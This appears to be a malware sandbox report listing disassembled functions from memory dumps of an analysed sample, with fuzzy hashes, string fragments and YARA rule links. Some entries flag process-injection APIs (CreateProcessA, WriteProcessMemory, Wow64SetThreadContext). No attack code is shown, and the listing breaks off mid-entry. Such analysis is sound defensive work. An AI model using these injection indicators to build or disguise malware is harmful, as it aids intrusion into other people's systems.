Instruction ID: ce87215c20a1ce758da98554b801374f603eb7d53d7daf4404b66c919d5eaf10
Opcode Fuzzy Hash: f849eff3daea321afad8c7fef0a07780790117c3d9e486ae5d0e2a84c1b483cd
Instruction Fuzzy Hash: 0FA1BFB0D1521CCFDB14CFA9D984BEDBBB2BF49314F14906AE41AAB251DB745985CF00

Function 04F17B31 Relevance: 1.5, Strings: 1, Instructions: 241COMMON

Download Yara Rule

Strings

Te]q, xrefs: 04F17C58

Memory Dump Source

Source File: 00000000.00000002.2123016154.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_Copy#51007602.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: a6cc3e117ecc403da9fa5a451282a3e51dd622214c9d1be528a21c9a9eed3109
Instruction ID: 6870ea072a092e018cecd86b9d3d1e0bb63ba41e0c53b39b04c66b8f860c6858
Opcode Fuzzy Hash: a6cc3e117ecc403da9fa5a451282a3e51dd622214c9d1be528a21c9a9eed3109
Instruction Fuzzy Hash: 2AA1A671E05218CFDB14DFAAD884BADBBF2FB49301F10916AD40DA7265EB746946CF40

Function 0547D8B1 Relevance: 1.5, Strings: 1, Instructions: 241COMMON

Download Yara Rule

Strings

_(n, xrefs: 0547DA97

Memory Dump Source

Source File: 00000000.00000002.2125713429.0000000005470000.00000040.00000800.00020000.00000000.sdmp, Offset: 05470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5470000_Copy#51007602.jbxd

Similarity

API ID:
String ID: _(n
API String ID: 0-297925466
Opcode ID: 47d83d82f1316d67580e0b16778d27d221d39018b6ed6f54ebc6f363de081cfe
Instruction ID: 16545e0374989902a78ab55354d83ec10828741cd34e0e3ac786c27d3c985e46
Opcode Fuzzy Hash: 47d83d82f1316d67580e0b16778d27d221d39018b6ed6f54ebc6f363de081cfe
Instruction Fuzzy Hash: 19B1BEB0E1521CCFDB14CFA9D984BEDBBB2BF49304F14916AE41AAB251DB746985CF00

Function 00F1C5C4 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2110369451.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 970082eca04c9d4cd244d0cfbce7af35490295e1bfd194ad1ab0408795bdd854
Instruction ID: dbcb60c94f7db27b3bf9277233b5ac3a4ec76fe0eed2b0b495ee2c65c0547b96
Opcode Fuzzy Hash: 970082eca04c9d4cd244d0cfbce7af35490295e1bfd194ad1ab0408795bdd854
Instruction Fuzzy Hash: AF32B274A442298FCB65DF28C984BA9BBB6FF48310F1085E9E50DA7355DB30AE85CF44

Function 04F16338 Relevance: .4, Instructions: 431COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2123016154.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c4961ec977c6df796d6d710ee5863de55b7d184a5e9ef5f10dfce126cc45839
Instruction ID: d61fc7ea69c075c12139b5f58fb6b44745ce89b78ac632a32d5e40161f09d0ce
Opcode Fuzzy Hash: 1c4961ec977c6df796d6d710ee5863de55b7d184a5e9ef5f10dfce126cc45839
Instruction Fuzzy Hash: E012A371E006198FDB14CFAAC98069EFBF2BF88304F64C569D459EB21AD734A946CF50

Function 04F16E48 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2123016154.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25dc101fc86f03c7c6eb78c1eae6ab3c78730024d40dc9b5ab2bdbb034be412e
Instruction ID: 598e113d2c1c5150306db378a008ddfa650a2fc9c8ee57d094f97deef8c53ccd
Opcode Fuzzy Hash: 25dc101fc86f03c7c6eb78c1eae6ab3c78730024d40dc9b5ab2bdbb034be412e
Instruction Fuzzy Hash: 0CE1C570E05218CFEB24DFA9D888B9DBBF2FB49305F1081A9D40DA7261DB746986CF41

Function 04F16E58 Relevance: .3, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2123016154.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7332c80fb65274bb9633a4189bc8263953c6c274ca07e3cb875d014bb1e8548
Instruction ID: 783dc0560310b69f4171810cfae01cf7288021faa6e8ea5302f4836fb1b78d08
Opcode Fuzzy Hash: a7332c80fb65274bb9633a4189bc8263953c6c274ca07e3cb875d014bb1e8548
Instruction Fuzzy Hash: 1EE1C770E05218CFEB14DFA9D888BADBBF2FB49305F1091A9D40DA7261DB746986DF00

Function 04F16991 Relevance: .3, Instructions: 304COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2123016154.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 210c03b45dc03050386a2d813dc67a8701bc1234be13690d115bb5794c79bc82
Instruction ID: 4ecd8a7a2a1e0e157f14c1e11c6faf93ca46ef9ae70fb4e78f43404eb6dd6be5
Opcode Fuzzy Hash: 210c03b45dc03050386a2d813dc67a8701bc1234be13690d115bb5794c79bc82
Instruction Fuzzy Hash: ABD1B574E05218CFEB24DFA9D888B9DBBF2FB49305F1091A9D40DA7261DB746986DF00

Function 00F150C8 Relevance: .3, Instructions: 302COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2110369451.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f84c9cedc258db22a4b90bed2e02fa7d51b5d7d907550d10c2cb2d6e45e13cbb
Instruction ID: 83ce365b1cdc1ec67efc0b5861fe32ae966b6d2b466fbd34ee6f12c85cd4398e
Opcode Fuzzy Hash: f84c9cedc258db22a4b90bed2e02fa7d51b5d7d907550d10c2cb2d6e45e13cbb
Instruction Fuzzy Hash: A4B10671A08646CFC710CFA8C8847EABBB2FBC4710F64C17AC05697646D3309996FB91

Function 04F1705C Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2123016154.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f017b1a80c275bb10144032989d3786abb5006415812cf66f5ca9d14e43df19
Instruction ID: 628b796f1fb46ce4d19249595894d5e8f998cd3a644dfca92c4be52e1e8f53b9
Opcode Fuzzy Hash: 2f017b1a80c275bb10144032989d3786abb5006415812cf66f5ca9d14e43df19
Instruction Fuzzy Hash: DFD1B474E05218CFEB14DFA9D888B9DBBF2FB49305F1091A9E40DA7261DB746986CF01

Function 0547FA50 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2125713429.0000000005470000.00000040.00000800.00020000.00000000.sdmp, Offset: 05470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5470000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3412d7792557ea8b50d12753b1a9a6deb201b248a7fb65f57fcf3ffcde11c225
Instruction ID: 221f58acde59475b1d7be6755259a3393c14c71ed46ec79c8e34a966a2a576a3
Opcode Fuzzy Hash: 3412d7792557ea8b50d12753b1a9a6deb201b248a7fb65f57fcf3ffcde11c225
Instruction Fuzzy Hash: CBC1E370E0521CDFDB14DF69D894BEEBBB2FB89301F1081AAD409A7255DB745A8ACF00

Function 0547FA80 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2125713429.0000000005470000.00000040.00000800.00020000.00000000.sdmp, Offset: 05470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5470000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e77d06e783973207928c58be499436dffddccf108c7bcf512db513c118265df8
Instruction ID: c5dfb194440c4a394022b9140f2e5daab931ef5988ac9a924c686c33f3f7aed4
Opcode Fuzzy Hash: e77d06e783973207928c58be499436dffddccf108c7bcf512db513c118265df8
Instruction Fuzzy Hash: 6CB1D370E0521CDFDB14DF69D844BEEBBB6FB89301F1091AAD409A7255DB745A8ACF00

Function 0547DDC9 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2125713429.0000000005470000.00000040.00000800.00020000.00000000.sdmp, Offset: 05470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5470000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7124d98a369e3c4d881f45eec1c9da6cd0b28fbf5efa75cf728f6c5869799a1f
Instruction ID: a21606f355965a6d24f754c3b4d5f043dcffcd17b151f80cf318101448e430ad
Opcode Fuzzy Hash: 7124d98a369e3c4d881f45eec1c9da6cd0b28fbf5efa75cf728f6c5869799a1f
Instruction Fuzzy Hash: 5771DD70E1561CCFDB24DFAAD948BEEBBB6BF89300F10816AD019A7291DB345946CF00

Function 0547DDD8 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2125713429.0000000005470000.00000040.00000800.00020000.00000000.sdmp, Offset: 05470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5470000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fa1e4d54fd8fc37114501c83722cb0dbfb1373a3f632d0cf0d7747bca1bf923
Instruction ID: 04d4ca9a291ea90e102d1eb2fff754c7e6804fed17140704b969d275d93cec8a
Opcode Fuzzy Hash: 5fa1e4d54fd8fc37114501c83722cb0dbfb1373a3f632d0cf0d7747bca1bf923
Instruction Fuzzy Hash: 3F71DF70E1561CCFDB24DFAAD948BEEBBB6BF89300F10916AD419A7291DB345946CF00

Function 00F16C6C Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2110369451.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 922621374c9280ee26aac1fd69e62e30d045c6a116d743c33f35d0a837e51c19
Instruction ID: a7a490f81f8cdc3a1419bee3921d6a8f218dd7a8969c3dbf814ad73de628b047
Opcode Fuzzy Hash: 922621374c9280ee26aac1fd69e62e30d045c6a116d743c33f35d0a837e51c19
Instruction Fuzzy Hash: EE611376A04609CFD714CF58D884FE9B7B2FB88311F648166E4559B3A5C734EC82EB90

Function 04F16328 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2123016154.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf83763a86deaeaf595a205d31fade71dfa5e725e573c6f2ee4eb9572039c0c9
Instruction ID: d6f06a7163689f371ddc80394b621ed095fe35e1b91ceee752e4209bf3234917
Opcode Fuzzy Hash: cf83763a86deaeaf595a205d31fade71dfa5e725e573c6f2ee4eb9572039c0c9
Instruction Fuzzy Hash: FA4159B1E016198BEB08CFABD94059EFBF3BFC8310F14C07AD558AB225DB3459468B54

Function 04EF7AA8 Relevance: 4.2, Strings: 3, Instructions: 483
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 04EF7FFC
Haq, xrefs: 04EF7FAC
Haq, xrefs: 04EF7F7D

Memory Dump Source

Source File: 00000000.00000002.2122893814.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: Haq$Haq$Haq
API String ID: 0-3013282719
Opcode ID: a857b174d6a1ad0454a7f76a933967f8bdb938ade823db6fa5ec6868dee02691
Instruction ID: d58f9da440b51390b77490d395dafbddfc58e25e0a82bef2cb946823a534e80f
Opcode Fuzzy Hash: a857b174d6a1ad0454a7f76a933967f8bdb938ade823db6fa5ec6868dee02691
Instruction Fuzzy Hash: 08127B31A002049FDB24DFA9D984AAEB7B2FF88304F54856DE50A9B395DB35FC46CB50

Function 04EF9768 Relevance: 4.1, Strings: 3, Instructions: 370
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 04EF9982
4']q, xrefs: 04EF9AE1
4']q, xrefs: 04EF9A61

Memory Dump Source

Source File: 00000000.00000002.2122893814.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q
API String ID: 0-705557208
Opcode ID: caf090af4762fe927b025205bae3bf3f1578d22e76d0791dceb050ea728c152c
Instruction ID: 59140602d6faa97dc23f9d6d392222faa1817473af6699dc81f5eed52f24fb99
Opcode Fuzzy Hash: caf090af4762fe927b025205bae3bf3f1578d22e76d0791dceb050ea728c152c
Instruction Fuzzy Hash: EAF1B874B10218DFDB08EFA4D994A9DBBB2FF88304F518158E945AB3A5DB74EC42CB50

Function 04EFDD2F Relevance: 4.1, Strings: 3, Instructions: 369
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(aq, xrefs: 04EFDE95
Haq, xrefs: 04EFDEC1
(aq, xrefs: 04EFDE69

Memory Dump Source

Source File: 00000000.00000002.2122893814.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: (aq$(aq$Haq
API String ID: 0-2456560092
Opcode ID: 0696cf251fc06ad145cb34bb5864fbf5e32c3f54474bb92e60c0ee5a5740211b
Instruction ID: b1dc916cf5d09c29b51d2cdf666ffd005d7076a915bf6bd954934d986ac10456
Opcode Fuzzy Hash: 0696cf251fc06ad145cb34bb5864fbf5e32c3f54474bb92e60c0ee5a5740211b
Instruction Fuzzy Hash: 8CF16634A00209DFDB04EF64D99499EBBB2FF85304F118569E906AB365DB30FD42CB51

Function 04EF3F98 Relevance: 3.0, Strings: 2, Instructions: 523
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 04EF4313
$]q, xrefs: 04EF4323

Memory Dump Source

Source File: 00000000.00000002.2122893814.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 8230a3aa7ea36a8323c6dfb48c6b4b761e9b0b002acad979227124472d2fa105
Instruction ID: 68df7b93425ba39ab9bdcac7a5c40aa8deabc7b858aa97b642f040da5b636460
Opcode Fuzzy Hash: 8230a3aa7ea36a8323c6dfb48c6b4b761e9b0b002acad979227124472d2fa105
Instruction Fuzzy Hash: 19229D30E00229DFDB05DFA9D850AEEBBB2FF58704F108515E951AB394DB39AD46CB90

Function 04ED18C0 Relevance: 2.8, Strings: 2, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 04ED1CF4
4']q, xrefs: 04ED1CE4

Memory Dump Source

Source File: 00000000.00000002.2122803299.0000000004ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ed0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: b2e1f7bb1d0a56ed3dbe4bef076295243d8447e906444320b7d2210bb2e35a17
Instruction ID: 0f66579500f581ee23eb28b7a469a0e8afb4d9af4bcfc2d19424aa522cd76583
Opcode Fuzzy Hash: b2e1f7bb1d0a56ed3dbe4bef076295243d8447e906444320b7d2210bb2e35a17
Instruction Fuzzy Hash: 40E1F334E04218DFDB18DFA9E488AEDBBB2FF49316F10A569E406A7254DB356946CF00

Function 04EF5308 Relevance: 2.8, Strings: 2, Instructions: 290COMMON

Download Yara Rule

Strings

Pl]q, xrefs: 04EF54F0
$]q, xrefs: 04EF55D6

Memory Dump Source

Source File: 00000000.00000002.2122893814.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: Pl]q$$]q
API String ID: 0-2369359564
Opcode ID: 1a2d29fba8def25143db50efa4750633adf7d354ffef9ce16c50d5e4ba5ce320
Instruction ID: e2d66ce95639c549b137a2dd7468dfebb0315710fa9eae0e57491647952f9877
Opcode Fuzzy Hash: 1a2d29fba8def25143db50efa4750633adf7d354ffef9ce16c50d5e4ba5ce320
Instruction Fuzzy Hash: 17B11430B401149FCB04DF29C884AAE7BF6AF89715B1144A9E605CB3B6DB71EC42CBA1

Function 04EF5B89 Relevance: 2.7, Strings: 2, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(aq, xrefs: 04EF5CAC
(aq, xrefs: 04EF5D03

Memory Dump Source

Source File: 00000000.00000002.2122893814.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: (aq$(aq
API String ID: 0-3916115647
Opcode ID: c987a50b0fef184927bd162f4e5d4a7eaa1568f577d947d1236a9bb0d6369203
Instruction ID: da0ec150d211d2db0b55c1415e22b79abcd7eeed98c793b59060c177885a3266
Opcode Fuzzy Hash: c987a50b0fef184927bd162f4e5d4a7eaa1568f577d947d1236a9bb0d6369203
Instruction Fuzzy Hash: D2519D313002099FDB15AF28E894AAE3BA6FF94314F118169E905CB296DF35ED46CB90

Function 05470040 Relevance: 2.6, Strings: 2, Instructions: 144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 05470164
(aq, xrefs: 0547008E

Memory Dump Source

Source File: 00000000.00000002.2125713429.0000000005470000.00000040.00000800.00020000.00000000.sdmp, Offset: 05470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5470000_Copy#51007602.jbxd

Similarity

API ID:
String ID: (aq$Haq
API String ID: 0-3785302501
Opcode ID: 3bdb5fbb246207947ef01b79b5e28ca5c0cbf5e36e1ad40affd6b17830582963
Instruction ID: af9af1ad7f7fae1b7ec920ccf7d298c5f1760b4560c90fb4f74a1b340fb37adb
Opcode Fuzzy Hash: 3bdb5fbb246207947ef01b79b5e28ca5c0cbf5e36e1ad40affd6b17830582963
Instruction Fuzzy Hash: 3441E1317052548FD715AB28C954AAE7BF2FF86214B1580EAE109DB3A2DE35EC07CB91

Function 0571557A Relevance: 2.5, Strings: 2, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,, xrefs: 057155D6
=, xrefs: 057155A7

Memory Dump Source

Source File: 00000000.00000002.2126459321.0000000005710000.00000040.00000800.00020000.00000000.sdmp, Offset: 05710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5710000_Copy#51007602.jbxd

Similarity

API ID:
String ID: ,$=
API String ID: 0-1737935649
Opcode ID: 2ba7b5ff3ad42becde23d328e046c874e15a5b0fb0a2c69a52c53950b7ae55cf
Instruction ID: a9601ec36630f0ab3cbfd1aa1c50b5a646b29d617d1a76df21c7ed9cf10d0a26
Opcode Fuzzy Hash: 2ba7b5ff3ad42becde23d328e046c874e15a5b0fb0a2c69a52c53950b7ae55cf
Instruction Fuzzy Hash: 3CF0443494011ACFD760DB68D888BED76B1FF04315F6180E6D40DA3292C7384EC8AF02

Function 04EFA640 Relevance: 1.9, Strings: 1, Instructions: 677COMMON

Download Yara Rule

Strings

,aq, xrefs: 04EFA9BB

Memory Dump Source

Source File: 00000000.00000002.2122893814.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: ,aq
API String ID: 0-3092978723
Opcode ID: 84687541f1cd35dd200a22f1a5ef94135a629344e672f8e8ef69448b714f0f90
Instruction ID: b667d0464665567d4830c610872ff811b5b980b826cb0bc6dae4845436346316
Opcode Fuzzy Hash: 84687541f1cd35dd200a22f1a5ef94135a629344e672f8e8ef69448b714f0f90
Instruction Fuzzy Hash: A3521C75A002289FDB24DF68C941BDDBBF6BF88300F1581E9E549AB351DA30AD81CF61

Function 04EF4B80 Relevance: 1.8, Strings: 1, Instructions: 534COMMON

Download Yara Rule

Strings

(_]q, xrefs: 04EF4E10

Memory Dump Source

Source File: 00000000.00000002.2122893814.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: (_]q
API String ID: 0-188044275
Opcode ID: 0646c1f8c7835d4e09f5014f48de7c2f2fd3b4133e2dd7e74f50005f05656642
Instruction ID: 13548ff9aac18a9e990dc412d32218a223d1fed59a8260cec6934b50094515be
Opcode Fuzzy Hash: 0646c1f8c7835d4e09f5014f48de7c2f2fd3b4133e2dd7e74f50005f05656642
Instruction Fuzzy Hash: 36228F35B002049FDB04DFA8D990AAEB7F2FF88314F148569EA059B3A6DB75ED41CB50

Function 05505920 Relevance: 1.8, APIs: 1, Instructions: 277processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 05505BCF

Memory Dump Source

Source File: 00000000.00000002.2126108804.0000000005500000.00000040.00000800.00020000.00000000.sdmp, Offset: 05500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5500000_Copy#51007602.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: f5c471548f83f81b76313e3d1fd9328653713948a2f4c3d637a782b1d5f960f0
Instruction ID: 8eeb6aea8f35809db535579c6a302768527d9fd8aac02b8a39d2110b3eb01b13
Opcode Fuzzy Hash: f5c471548f83f81b76313e3d1fd9328653713948a2f4c3d637a782b1d5f960f0
Instruction Fuzzy Hash: CAA10470D042188FDF20DFA9C8857EDBBF1BF09314F14A16AE859A7280EB749985CF85

Function 0550595E Relevance: 1.8, APIs: 1, Instructions: 264processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 05505BCF

Memory Dump Source

Source File: 00000000.00000002.2126108804.0000000005500000.00000040.00000800.00020000.00000000.sdmp, Offset: 05500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5500000_Copy#51007602.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: c83fbe75fad3a4268b935bbf480a096811512e1d5ae5c61c072bbd0003099b3d
Instruction ID: 1dcdc40d388edb78b7fa6aeb8a57e5457f5c7187f7533e8116c91d7177388af4
Opcode Fuzzy Hash: c83fbe75fad3a4268b935bbf480a096811512e1d5ae5c61c072bbd0003099b3d
Instruction Fuzzy Hash: 15A1F3B0D002299FDF20CFA9C8857EDBBF1BF09314F14A169E859A7280EB749985CF45

Function 05505968 Relevance: 1.8, APIs: 1, Instructions: 261processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 05505BCF

Memory Dump Source

Source File: 00000000.00000002.2126108804.0000000005500000.00000040.00000800.00020000.00000000.sdmp, Offset: 05500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5500000_Copy#51007602.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: f4a4071ae21d0bf71c134131e045464e49a30f97b7132148da4f680f6fb67d49
Instruction ID: 71162f31900163275a483750375e64b511eaacb4fa49be08056e4563c680641f
Opcode Fuzzy Hash: f4a4071ae21d0bf71c134131e045464e49a30f97b7132148da4f680f6fb67d49
Instruction Fuzzy Hash: 92A1F370D002199FDF20CFA9C885BEDBBF1BF09310F14A169E859A7280EB749985CF85

Function 04EFB4A7 Relevance: 1.7, Strings: 1, Instructions: 477COMMON

Download Yara Rule

Strings

$]q, xrefs: 04EFB60F

Memory Dump Source

Source File: 00000000.00000002.2122893814.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: $]q
API String ID: 0-1007455737
Opcode ID: a582957ca7ed6cafbfc51eb269f749b07263d48db0f09bc5a161b1372614701b
Instruction ID: af3331123bc5810c3442935174787bee14a7b3c707245eabf29bd383883fb2b9
Opcode Fuzzy Hash: a582957ca7ed6cafbfc51eb269f749b07263d48db0f09bc5a161b1372614701b
Instruction Fuzzy Hash: 0102D0717042429FE714AF28D8517AE7BE2EFC5304F248429E685CB392EA34FD42DB52

Function 05506A50 Relevance: 1.6, APIs: 1, Instructions: 121injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05506B28

Memory Dump Source

Source File: 00000000.00000002.2126108804.0000000005500000.00000040.00000800.00020000.00000000.sdmp, Offset: 05500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5500000_Copy#51007602.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 504ba3655b00991582edab95d2fc2803eac81f152eb8b51197bd8ba059efece3
Instruction ID: f5bb43acf84efbfb8ecddb139c640cf2f367ece9a06e3e547fd4d5daa82c6413
Opcode Fuzzy Hash: 504ba3655b00991582edab95d2fc2803eac81f152eb8b51197bd8ba059efece3
Instruction Fuzzy Hash: A541DDB5D012589FCF00DFA9D984AEEFBF1FB09310F20902AE419B7240D738AA45CB94

Function 05506A58 Relevance: 1.6, APIs: 1, Instructions: 115injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05506B28

Memory Dump Source

Source File: 00000000.00000002.2126108804.0000000005500000.00000040.00000800.00020000.00000000.sdmp, Offset: 05500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5500000_Copy#51007602.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: e9e50c2a25c3979a312e0c70f970581513a67141f0ab6fb419ba28a2879563ad
Instruction ID: 665288b154e6319a3ca99118c53eee2f91f385dcb5fa8bd94078d96b7ff45786
Opcode Fuzzy Hash: e9e50c2a25c3979a312e0c70f970581513a67141f0ab6fb419ba28a2879563ad
Instruction Fuzzy Hash: D441ACB4D012589FCF00DFA9D984AEEFBF1BB49310F10902AE819B7250D739A945CB54

Function 05506A12 Relevance: 1.6, APIs: 1, Instructions: 113injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05506B28

Memory Dump Source

Source File: 00000000.00000002.2126108804.0000000005500000.00000040.00000800.00020000.00000000.sdmp, Offset: 05500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5500000_Copy#51007602.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 085dfc697636e841c0c6be56e088a457c069da3110d8bf6033bb3de5ea7559d9
Instruction ID: d0be27779c892206a87ec87f16a87578a146f6652006aff2aca6df856805c2bf
Opcode Fuzzy Hash: 085dfc697636e841c0c6be56e088a457c069da3110d8bf6033bb3de5ea7559d9
Instruction Fuzzy Hash: 9941BDB5D012188FCF04DFA9D944AEEBBF1BF49304F14A42AE415B7250C7389951CB64

Function 05505CD0 Relevance: 1.6, APIs: 1, Instructions: 108threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 05505DC7

Memory Dump Source

